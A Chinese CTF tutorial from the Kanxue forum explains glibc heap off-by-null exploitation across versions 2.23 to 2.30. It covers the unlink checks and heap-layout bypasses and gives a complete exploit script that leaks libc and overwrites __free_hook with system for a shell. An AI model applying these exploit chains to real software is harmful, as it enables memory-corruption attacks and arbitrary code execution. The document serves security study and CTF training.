查看原文
其他

新人PWN堆Heap总结off-by-null专场

PIG-007 看雪学苑 2022-07-01


本文为看雪论坛优秀文章
看雪论坛作者ID:PIG-007


off-by-null是堆中的常见漏洞,很多时候都是结合堆布局来进行利用的。这里结合原理解析、不同版本和条件的off-by-null以及常见的漏洞条件做个总结。


原理解析


主要发生在_int_free的unlink中:
//2.23 when size>global_max_fast /* consolidate backward */if (!prev_inuse(p)) { prevsize = p->prev_size; size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); unlink(av, p, bck, fwd);} if (nextchunk != av->top) { /* get and clear inuse bit */ nextinuse = inuse_bit_at_offset(nextchunk, nextsize); /* consolidate forward */ if (!nextinuse) { unlink(av, nextchunk, bck, fwd); size += nextsize; } /* Take a chunk off a bin list */#define unlink(AV, P, BK, FD) { FD = P->fd; BK = P->bk; if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P, AV); else { FD->bk = BK; BK->fd = FD; if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0)) { if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) malloc_printerr (check_action, "corrupted double-linked list (not small)", P, AV); if (FD->fd_nextsize == NULL) { if (P->fd_nextsize == P) FD->fd_nextsize = FD->bk_nextsize = FD; else { FD->fd_nextsize = P->fd_nextsize; FD->bk_nextsize = P->bk_nextsize; P->fd_nextsize->bk_nextsize = FD; P->bk_nextsize->fd_nextsize = FD; } } else { P->fd_nextsize->bk_nextsize = P->bk_nextsize; P->bk_nextsize->fd_nextsize = P->fd_nextsize; } } }}

为了方便,依据物理地址相邻来命名如下:
 
 
即当size大于global_max_fast且不是mmap出来的chunk时,就会进入判断。所以这里我们进行释放用的chunk的大小就必须要大于global_max_fast才行,否则就是改掉了pre_inuse位也是直接进入fastbin,不会进入判断的。

先依据当前chunk(chunkP)的pre_inuse位来判断前一个chunk(preChunk)是否处于释放状态,是则进入unlink,将前一个chunk取出。

然后判断下一个chunk(nextChunk)是否是top_chunk,是则直接与top_chunk合并。

若nextChunk不为top_chunk,再判断下一个Chunk的再下一个chunk的pre_inuse位来判断nextChunk是否处于释放状态,若是则进入unlink。

然后unlink中就不细说,就是双向循环链表解链的过程,依据fd和bk来查找并解链,但是我们的off-by-null通常不会涉及到nextsize位的使用,所以基本不用看后面的。需要注意的是,由于这里会检查,即:
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))     malloc_printerr (check_action, "corrupted double-linked list", P, AV);

所以我们需要将进入unlink的chunk的fd和bk来进行伪造或者干脆直接释放使其直接进入unsortedbin中完成双向链表的加持。这里先讲放入unsortedbin中来获取fd和bk的方法,伪造的方法一般用在2.29及以上的高版本中,因为那时候的unlink加入了关于size位的检查,不能简单得伪造fd和bk。
 
其次,这里还需要明白一个寻找chunk的原理。

寻找preChunk:preChunk_addr = chunkP_addr - chunkP->pre_size

寻找nextChunk:nextChunk_addr = chunkP_addr + chunkP->size


即以下源码,这个一直没有变化过:
/* Ptr to previous physical malloc_chunk. Only valid if !prev_inuse (P). */#define prev_chunk(p) ((mchunkptr) (((char *) (p)) - prev_size (p))) /* Ptr to next physical malloc_chunk. */#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p))) /* Get size, ignoring use bits */#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS)) /* extract p's inuse bit */#define inuse(p) \ ((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)

所以,如果我们可以伪造pre_size和in_use位,就能触发向上任意寻找一个满足fd和bk为双向链表的chunk,从而将中间所有的chunk都一并合并为一个Chunk释放掉。(向下合并也可以的,不过一般不常使用)
 
 
这里就是通过释放chunkP,依据pre_size向上寻找到原本已经在unsortedbin中的preChunk,其FD和BK已经组成双向循环链表,可以绕过检查,所以释放ChunkP之后preChunk+OverlapChunk+chunkP都进入到unsortedbin中。

但是OverlapChunk本身其实并没有被释放,我们再从unsortedbin中申请切割出preChunk大小的chunk,再申请就可以得到OverlapChunk。这样我们就有两个指针都指向OverlapChunk,从而伪造出UAF,之后我们就可以通过OverlapChunk来getshell了。

1、常用布局

add_malloc(0xf8,'\x00'*0xf8) #0x1add_malloc(0x68,'\x00'*0x68) #0x2add_malloc(0xf8,'\x00'*0xf8) #0x3add_malloc(0x68,'\x00'*0x68) #0x4free(0x1)edit(0x2,0x70,'\x00'*0x60+p64(0x70+0x100)+p16(0x100))free(0x3)

off-by-null在调试中不太好搞,所以我就借用堆溢出来假设存在off-by-null,将chunk3原本的size位0x101通过off-by-null变成0x100即可。


2、注意事项


(1)顺序

此外需要注意的是,需要先释放chunk1,再溢出修改chunk3。不然如果先修改chunk3,那么释放chunk1的时候,寻找chunk1的nextChunk即chunk2,判断chunk2是否处于释放状态时,会找到chunk3,依据pre_inuse位发现chunk2已经处于释放状态,那么尝试进入unlink合并,但是这里的chunk2的fd和bk并没有组成双向循环链表,所以会出错。


(2)size位的设置

0x100:这里注意到上面的布局中size位为0x100和0x70,这里的0x100就是为了通过off-by-null将0x101变成0x100设置的。当然设置为0x201,0x301通常也是一样的。

0x70:这里就通常是为了方便打fastbin attack,从_malloc_hook处构造0x7f字节错位用的。




更新换代


1、Glibc2.27


这里也不是特指2.27,而指的是Glibc2.29以下的存在tcache的版本,这类版本通常需要填充满tcache再进行释放,也不需要多讲。


2、Glibc2.29


从这个版本开始,off-by-null由于加入的检查,引入了好几种全新的利用方式。


(1)_int_free中的变化

if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating"); unlink_chunk (av, p);}

加入的检查是:
if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating");

这里的p因为p = chunk_at_offset(p, -((long) prevsize));已经变成了preChunk。所以这里就是检查preChunk->size是否等于chunkP->pre_size。按照上面那张图的逻辑,preChunk的size为0x101,chunkP的pre_size为0x170,两个不等于,根本就无法进入unlink中,直接崩掉。
 

(2)unlink变化

首先unlink从宏定义变成了全局函数定义,名字也从unlink变成了unlink_chunk,但实际内容没有变太多,只是加入了一些检查:
/* Take a chunk off a bin list. */static void unlink_chunk (mstate av, mchunkptr p){ if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr ("corrupted size vs. prev_size"); mchunkptr fd = p->fd; mchunkptr bk = p->bk; if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) malloc_printerr ("corrupted double-linked list"); fd->bk = bk; bk->fd = fd; if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) { if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p) malloc_printerr ("corrupted double-linked list (not small)"); if (fd->fd_nextsize == NULL) { if (p->fd_nextsize == p) fd->fd_nextsize = fd->bk_nextsize = fd; else { fd->fd_nextsize = p->fd_nextsize; fd->bk_nextsize = p->bk_nextsize; p->fd_nextsize->bk_nextsize = fd; p->bk_nextsize->fd_nextsize = fd; } } else { p->fd_nextsize->bk_nextsize = p->bk_nextsize; p->bk_nextsize->fd_nextsize = p->fd_nextsize; } } }

加入的检查,就加了一个if语句:
if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr ("corrupted size vs. prev_size");

即在unlink时会检查nextChunk的pre_size是否等于chunkP的size。
 
按照之前那张图的逻辑,进入unlink中时preChunk的size为0x100,preChunk的nextChunk,即overlapChunk的pre_size为0x100,相等,可以满足要求,没啥大用,但是之后提出的绕过手段也是需要绕过这个检查的。
 
 
后面的更高版本,到2.33都没变化,也就不提了。只是2.32中的指针异或可能需要注意一下,但是之后的绕过手段一般是基于unsortedbin,smallbin,largebin来绕过,不存在指针异或的情况,所以也不用太在意。




高版本花式绕过


这里讲的是2.29及以上的版本。

第一种


这个之前写过,参考这篇文章:
 
2.29下的off-by-null | PIG-007
https://www.pig-007.top/2021/08/14/2.29%E4%B8%8B%E7%9A%84off-by-null/
 
或者t1an5g师傅的文章:
https://bbs.pediy.com/thread-257901.htm#msg_header_h2_2
 
当然ex师傅的原始解析也很好:
http://blog.eonew.cn/archives/1233
 
但是这个需要爆破半个字节,也不能对size做太多的限制,且chunk需要申请大概有24个,所以看个人需要。

第二种


这个也写过,参考这篇:
 
2.29-2.32下的off-by-null | PIG-007
https://www.pig-007.top/2021/08/14/2.29-2.32%E4%B8%8B%E7%9A%84off-by-null/
 
当然我也是参考WJH师傅的:
glibc 2.29-2.32 off by null bypass - 安全客,安全资讯平台 (anquanke.com)https://www.anquanke.com/post/id/236078
 
这个不需要爆破,但是对size的限制不能太严格,需要largebin的size。

第三种


这个还没写过总结,现在来,不过先贴下文章,init-0师傅的:
 
堆漏洞利用(2.29以上glibc,off-by-null, 加了申请size限制) - 安全客,安全资讯平台 (anquanke.com)https://www.anquanke.com/post/id/231418#h3-8
 
这种方法在size限制下也可以使用,文章中的限制是0xe8的堆块,真是将堆布局用到极高的水平。
 
先看最终的布局效果:
 
 
这样就能通过两项检查了:
//_int_free中if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating"); //unlink中if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr ("corrupted size vs. prev_size");


(1)前置布局:

由于init-0师傅的题目中,申请chunk是从0x3a0开始的,所以这里我就也以0x3a0开始:
#get layout to let chunk0_addr = 0x****3a0claim(0x88)# 0-6 #1-7claim(0x98)# 7-13 #8-14claim(0xa8)# 14-20 #15-21claim(0xb8)# 21-27 #22-28claim(0xc8)# 28-34 #29-35claim(0xd8)# 35-41 #36-42claim(0xe8)# 42-48 #43-49 #--------------------------add_malloc(0x98,'\x00')# 49 #50add_malloc(0x98,'\x00')# 50 #51 0x****f900add_malloc(0x18,'\x00')# 51 #52 0x****f9a0add_malloc(0xa8,'\x00')# 52 0 #53 0x****f9c0add_malloc(0xb8,'\x00')# 53 1 #54 0x****fa70add_malloc(0xd8,'\x00')# 54 2 #55 0x****fb30add_malloc(0xd8,'\x00')# 55 #56 add_malloc(0xe8,'\x00')# 56 3 #57 0x****fcf0 #这个0x200和0xe0的设置是为了之后将unsortedbinChunk给改成0x200备用的fakeChunk_nextChunk_preSize = p64(0x200) + p64(0xe0)edit(57,0x10,fakeChunk_nextChunk_preSize)# 56 #57 add_malloc(0xe8,'\x00')# 57 4 #58 0x****fde0add_malloc(0x98,'\x00')# 58 #59add_malloc(0xe8,'\x00')# 59 #60 0x****ff70add_malloc(0x18,'\x00')# 60 #61


(2)填充tcache


并且将要利用的Chunk释放合并进入unsortedbin。
#free 0~48 #1~49#-------------------------#--tcachefor i in range(0,7): #0x88 free(i+1)for i in range(14,21):#0xa8 free(i+1)for i in range(21,28):#0xb8 free(i+1)for i in range(35,42):#0xd8 free(i+1)for i in range(42,49):#0xe8 free(i+1) #--tcache for i in range(52,57): #52~56 #53~57 merge into unsortedbin free(i+1)


graph TD; 0(chunk53<br>0xa8<br>0x****9c0)-->1(chunk54<br>0xb8)-->2(chunk55<br>0xd8)-->3(chunk56<br>0xd8)-->4(chunk57<br>0xe8<br>0x****cf0)


(3)重构53~57结构为97~101

#---------------------------# empty tcacheclaim(0x88) #62~68claim(0xa8) #69~75claim(0xb8) #76~82claim(0xd8) #83~89claim(0xe8) #90~96#--------------------------- #---------------------------------------------------------------- 上面是一个大的unsorted bin#进行add之后carver up and unsortedbin 被放入了largebin 之后进行了分配add_malloc(0x98,'\x00')# 52 #97 #0x****9c0add_malloc(0x98,'\x00')# 53 #98 #0x****A60 fake_chunk_size = 0x98 * "a" + p16(0x200)#这里我借用堆溢出来仿照off-by-null,修改还在largebin中的chunk的size从0x2e1->0x200#changing largebinChunk_size will not cause abortedit(98,0x98+0x2,fake_chunk_size)#53 #98add_malloc(0x88,'\x00')#54 #99 #0x****B00add_malloc(0x88,'\x00')#55 #100 #0x****B90add_malloc(0xd8,'\x00')#56 #101 #0x****C70

重构之后如下:
graph TD; 0(chunk97<br>0x98<br>0x****9c0)-->1(chunk98<br>0x98)-->2(chunk99<br>0x88)-->3(chunk100<br>0x88)-->4(chunk101<br>0xd8<br>0x****cf0)-->5(0xe0碎片)

那么实际上其实原先的0x420被申请了0x340,还有一部分0xe0没有被申请出来。
 

(4)构造preChunk的fd和bk

#------tcachefor i in range(7,14):#0x98 free(i+1)for i in range(0,7):#0x88 free(i+1)for i in range(42,49):#0xe8 free(i+1) #------tcache free(51)#0x98 #50 #51 #0x****f900#let 99->fd = chunk51_addr(0x****f900)free(99)#0x88 #54 #99#let 99->bk = chunk60_addr(0x****ff70)free(60)#0xe8 #59 #60 #0x****ff70


(5)再重构97~101为97->124->132->134

free(98)#0x98 #53 #98 #---------------add backclaim(0x88) #102~108claim(0x98) #109~115claim(0xe8) #116~122#---------------add back #将51,99,98分别放入对应的smallbin,98和99由于物理相邻,所以合并成为0x130的块#之后依据大小适配原则将60分配回来给123add_malloc(0xd8,'\x00')# 0x32 #123 0x****ff70,实际大小为0xf0#将0x131的smallbin切分,此时51还在0xa0的smallbin中,剩下0x70的Chunk进入unsortedbin中add_malloc(0xb8,'\x00')# 0x35 #124 0x****fa60 for i in range(0,7):#0x88 free(i+1)#chunk100放入unsortedbin, 与0x70的碎片合并,形成0x101的块free(100) #55 #100 claim(0x88) #125~131 #切割0x101的块,获得0xb8大小的0x****fb20,方便与0x****f900的块放入同一个unsortebin中add_malloc(0xb8,'\x00')#0x36 #132 0x****fb20add_malloc(0x98,'\x00')#0x37 #133 0x****f900add_malloc(0x38,'\x00')#0x3b #134 0x****fbe0

重构之后如下:
graph TD; 0(chunk97<br>0x98<br>0x****f9c0)-->1(chunk124<br>0xb8<br>chunk99被包含<br>0x****fa60)-->2(chunk132<br>0xb8<br>0x****fb20)-->3(chunk134<br>0x38<br>0x****fbe0)-->4(0xe0碎片)


(6)修复FD->bk和BK->fd

#------tcachefor i in range(42,49):#0xe8 free(i+1) for i in range(7,14):#0x98 free(i+1)for i in range(21,28):#0xb8 free(i+1)#------tcache #let 133->bk = chunk132_addr(0x****f900->bk = 0x****fb20)free(133) #0x37 #133 0x****f900free(132) #0x36 #132 0x****fb20#let 123->fd = chunk132_addr(0x****ff70->bk = 0x****fb20)free(123) #0x32 #123 0x****ff70


(7)再重构为97->124->157->134


方便将0x****ff70和0x****f900的对于fd,bk进行off-by-null,使得0xb20变为0xb00。
free(59) #58 #59 0x****fed0#chunk59和chunk123合并进入unsortedbin,大小0x190(0xf0+0xa0) claim(0x98) #135~141claim(0xb8) #142~148claim(0xe8) #149~155 add_malloc(0xc8,'\x00') #0x32 #156 0x****fed0 add_malloc(0xb8,'\x00') #0x36 #157 0x****fb20add_malloc(0xb8,'\x00') #0x37 #158 0x****ffa0add_malloc(0x98,'\x00') #58 #159 0x****f900 #--top_chunkadd_malloc(0x98,'\x00') #0x3d #160add_malloc(0x98,'\x00') #0x3e #161add_malloc(0x18,'\x00') #0x3f #162 #------tcachefor i in range(7,14):#0x98 free(i+1)for i in range(21,28):#0xb8 free(i+1)#------tcache free(161) #0x98 #0x3e #161free(159) #0x98 #58 #159 0x****f900free(157) #0xb8 #0x36 #157free(50) #0x98 #49 #50 0x****f860#其中159和50合并为0x140大小的块放入unsortedbin中#unsortedbin:0x****f860 —▸ 0x****fb20 —▸ 0x****0120 claim(0xb8) #163~169claim(0x98) #170~176#----------------------------------------------------add_malloc(0xb8,'\x00') #49 #177add_malloc(0x98,'\x00') #0x36 #178 #切割0x140的块add_malloc(0xc8,'\x00')#0x3a #179 0x****f860add_malloc(0x68,'\x00')#0x3e #180

现在就可以通过chunk179来将0x****f900中的bk给改掉。
 
通过chunk156来将0x****ff70中的fd给改掉。


(8)利用off-by-null得到最终布局

partial_null_write = 0x98*'b'partial_null_write += p64(0xf1)edit(156,0x98+0x8+0x1,partial_null_write+'\x00') #0x32 #156 partial_null_write = 0xa8*'c'edit(179,0xa8+0x1,partial_null_write + '\x00') #0x3a #179 #伪造pre_sizefake_chunk_size = 0x98*'d'fake_chunk_size += p64(0x2e1)edit(124,0x98+0x8,fake_chunk_size) #0x35 #124


(9)触发off-by-null

for i in range(42,49):#0xe8 free(i+1) free(58)


总结


①利用unsortedbin成链机制,合并unsortedbin中的chunk并且切割,这样就能保留住FD和BK了。
 
②再利用unsortedbin成链和切割的机制,就能修改到对应preChunk的FD和BK了,修改最后一个字节为\x00即可。
 
③由于2.29之后的添加的两项检查,所以需要注意的是伪造unsortedbinChunk的size时,也要伪造nextChunk的pre_size和pre_inuse位。
 
④太麻烦了,有这时间布局还不如肝其他题。
 
再贴个汇总的exp,基于libc2.30,自己的题目:
#有size限制,对应索引往后移即可add_malloc(0x1000-0x290+0x3000-0x8+0x3a0,'PIG007NB') #old #new#get layout to let chunk0_addr = 0x****3a0claim(0x88)# 0-6 #1-7claim(0x98)# 7-13 #8-14claim(0xa8)# 14-20 #15-21claim(0xb8)# 21-27 #22-28claim(0xc8)# 28-34 #29-35claim(0xd8)# 35-41 #36-42claim(0xe8)# 42-48 #43-49 #--------------------------add_malloc(0x98,'\x00')# 49 #50add_malloc(0x98,'\x00')# 50 #51 0x****f900add_malloc(0x18,'\x00')# 51 #52 0x****f9a0add_malloc(0xa8,'\x00')# 52 0 #53 0x****f9c0add_malloc(0xb8,'\x00')# 53 1 #54 0x****fa70add_malloc(0xd8,'\x00')# 54 2 #55 0x****fb30add_malloc(0xd8,'\x00')# 55 #56 add_malloc(0xe8,'\x00')# 56 3 #57 0x****fcf0 #这个0x200和0xe0的设置是为了之后将unsortedbinChunk给改成0x200备用的fakeChunk_nextChunk_preSize = p64(0x200) + p64(0xe0)edit(57,0x10,fakeChunk_nextChunk_preSize)# 56 #57 add_malloc(0xe8,'\x00')# 57 4 #58 0x****fde0add_malloc(0x98,'\x00')# 58 #59add_malloc(0xe8,'\x00')# 59 #60 0x****ff70add_malloc(0x18,'\x00')# 60 #61 #free 0~48 #1~49#-------------------------#--tcachefor i in range(0,7): #0x88 free(i+1)for i in range(14,21):#0xa8 free(i+1)for i in range(21,28):#0xb8 free(i+1)for i in range(35,42):#0xd8 free(i+1)for i in range(42,49):#0xe8 free(i+1) #--tcache for i in range(52,57): #52~56 #53~57 merge into unsortedbin free(i+1) #---------------------------# empty tcacheclaim(0x88) #62~68claim(0xa8) #69~75claim(0xb8) #76~82claim(0xd8) #83~89claim(0xe8) #90~96#--------------------------- #---------------------------------------------------------------- 上面是一个大的unsorted bin#进行add之后carver up and unsortedbin 被放入了largebin 之后进行了分配add_malloc(0x98,'\x00')# 52 #97 #0x****9c0add_malloc(0x98,'\x00')# 53 #98 #0x****A60 fake_chunk_size = 0x98 * "a" + p16(0x200)#这里我借用堆溢出来仿照off-by-null,修改还在largebin中的chunk的size从0x2e1->0x200#changing largebinChunk_size will not cause abortedit(98,0x98+0x2,fake_chunk_size)#53 #98add_malloc(0x88,'\x00')#54 #99 #0x****B00add_malloc(0x88,'\x00')#55 #100 #0x****B90add_malloc(0xd8,'\x00')#56 #101 #0x****C70 #构造preChunk的fd和bk------------------------#------tcachefor i in range(7,14):#0x98 free(i+1)for i in range(0,7):#0x88 free(i+1)for i in range(42,49):#0xe8 free(i+1) #------tcache free(51)#0x98 #50 #51 #0x****f900#let 99->fd = chunk51_addr(0x****f900)free(99)#0x88 #54 #99#let 99->bk = chunk60_addr(0x****ff70)free(60)#0xe8 #59 #60 #0x****ff70#构造preChunk的fd和bk------------------------ free(98)#0x98 #53 #98 #---------------add backclaim(0x88) #102~108claim(0x98) #109~115claim(0xe8) #116~122#---------------add back #将51,99,98分别放入对应的smallbin,98和99由于物理相邻,所以合并成为0x130的块#之后依据大小适配原则将60分配回来给123add_malloc(0xd8,'\x00')# 0x32 #123 0x****ff70,实际大小为0xf0#将0x131的smallbin切分,此时51还在0xa0的smallbin中,剩下0x70的Chunk进入unsortedbin中add_malloc(0xb8,'\x00')# 0x35 #124 0x****fa60 for i in range(0,7):#0x88 free(i+1)#chunk100放入unsortedbin, 与0x70的碎片合并,形成0x101的块free(100) #55 #100 claim(0x88) #125~131 #切割0x101的块,获得0xb8大小的0x****fb20,方便与0x****f900的块放入同一个unsortebin中add_malloc(0xb8,'\x00')#0x36 #132 0x****fb20add_malloc(0x98,'\x00')#0x37 #133 0x****f900add_malloc(0x38,'\x00')#0x3b #134 0x****fbe0 #修复FD->bk和BK->fd-----------------------------#------tcachefor i in range(42,49):#0xe8 free(i+1) for i in range(7,14):#0x98 free(i+1)for i in range(21,28):#0xb8 free(i+1)#------tcache #let 133->bk = chunk132_addr(0x****f900->bk = 0x****fb20)free(133) #0x37 #133 0x****f900free(132) #0x36 #132 0x****fb20#let 123->fd = chunk132_addr(0x****ff70->bk = 0x****fb20)free(123) #0x32 #123 0x****ff70#修复FD->bk和BK->fd----------------------------- free(59) #58 #59 0x****fed0#chunk59和chunk123合并进入unsortedbin,大小0x190(0xf0+0xa0) claim(0x98) #135~141claim(0xb8) #142~148claim(0xe8) #149~155 add_malloc(0xc8,'\x00') #0x32 #156 0x****fed0 add_malloc(0xb8,'\x00') #0x36 #157 0x****fb20add_malloc(0xb8,'\x00') #0x37 #158 0x****ffa0add_malloc(0x98,'\x00') #58 #159 0x****f900 #--top_chunkadd_malloc(0x98,'\x00') #0x3d #160add_malloc(0x98,'\x00') #0x3e #161add_malloc(0x18,'\x00') #0x3f #162 #------tcachefor i in range(7,14):#0x98 free(i+1)for i in range(21,28):#0xb8 free(i+1)#------tcache free(161) #0x98 #0x3e #161free(159) #0x98 #58 #159 0x****f900free(157) #0xb8 #0x36 #157free(50) #0x98 #49 #50 0x****f860#其中159和50合并为0x140大小的块放入unsortedbin中#unsortedbin:0x****f860 —▸ 0x****fb20 —▸ 0x****0120 claim(0xb8) #163~169claim(0x98) #170~176#----------------------------------------------------add_malloc(0xb8,'\x00') #49 #177add_malloc(0x98,'\x00') #0x36 #178 #切割0x140的块add_malloc(0xc8,'\x00')#0x3a #179 0x****f860add_malloc(0x68,'\x00')#0x3e #180 partial_null_write = 0x98*'b'partial_null_write += p64(0xf1)edit(156,0x98+0x8+0x1,partial_null_write+'\x00') #0x32 #156 partial_null_write = 0xa8*'c'edit(179,0xa8+0x1,partial_null_write + '\x00') #0x3a #179 #伪造pre_sizefake_chunk_size = 0x98*'d'fake_chunk_size += p64(0x2e1)edit(124,0x98+0x8,fake_chunk_size) #0x35 #124 for i in range(42,49):#0xe8 free(i+1) free(58) #pull-down the unsortedbinChunk to chunk134 and leak main_arenaedit(134,0x8,"e"*8) #0x3b #134add_malloc(0xd8,'\x00') #181show(134) libc_base = u64Leakbase(unsortedBinIdx + libc.sym['__malloc_hook'] + 0x10)lg('libc_base',libc_base) #---------------------------------------------------------------------------------claim(0xe8) #182~188add_malloc(0xe8,'\x00') #0x40 #189free(44) #0x2b #44free(134) #0x3b #134edit(189,0x8,p64(libc_base+libc.sym['__free_hook']-8)) #0x40 #189add_malloc(0xe8,'\x00') #190add_malloc(0xe8,'\x00') #191 edit(191,0x10,"/bin/sh\x00"+p64(libc_base+libc.sym['system'])) #191free(191)it()#--------------------------------------------------------------



 


看雪ID:PIG-007

https://bbs.pediy.com/user-home-904686.htm

*本文由看雪论坛 PIG-007 原创,转载请注明来自看雪社区






# 往期推荐

1. CVE-2012-3569 VMware OVF Tool格式化字符串漏洞分析

2. DASCTF八月挑战赛 re

3.对使用系统调用进行收发包的frida hook抓包

4. 恶意样本分析——XOR加密与进程注入

5. 超级长的IE调试总结:CVE-2013-1347 IE CGenericElement UAF漏洞分析

6. MS17-010 “永恒之蓝”漏洞分析与复现



公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存